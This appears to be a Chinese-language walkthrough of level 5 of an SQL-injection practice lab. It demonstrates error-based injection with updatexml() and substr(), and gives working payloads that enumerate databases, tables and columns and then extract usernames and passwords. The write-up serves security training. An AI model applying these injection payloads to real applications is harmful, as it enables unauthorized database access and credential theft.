第五关请求方式为GET请求 , 注入点为 单引号字符串型注入 , 注入类型为 报错注入
报错注入常用(我觉得)的是 updatexml() , 该函数的第2个参数包含特殊字符时会报错,并将第2个参数的内容返回到错误信息中
第一步,判断注入类型
老规矩, 先来一个单引号'
?id=1'
数据库报错了
分析一下报错内容 , 最外层的一对单引号是数据库包裹报错内容的,我们不用管 , 1' 是我们输入的参数 , 我们的参数两边有一对单引号包裹 , 也就是说,后端的SQL会用一对单引号包裹参数 ,
固 单引号字符串型注入
源码如下
我们再来试一下updatexml() 是否会正常报错
?id=1' and updatexml(1,'~',3) -- a
正常报错 , 接下来进行报错注入
第二步,脱库
爆库
1. ?id=1' and updatexml(1,concat('~', 2. substr((select group_concat(schema_name) 3. from information_schema.schemata),62,31) 4. ),3) -- a
concat() , 用于拼接字符串 , 目的在于将查询结果拼接特殊字符'~' 来触发updatexml()的报错
substr() , 用于截取字符串 , 由于updatexml()返回的字符串长度不超过32位 , 所以需要多次截取不同位置的字符串 , 从而拿到完整的数据
爆表
?id=1' and updatexml(1,concat('~', substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31) ),3) -- a
爆字段
?id=1' and updatexml(1,concat('~', substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31) ),3) -- a
获取账号密码
?id=1' and updatexml(1,concat('~', substr((select group_concat(username,'~',password) from security.users),1,31) ),3) -- a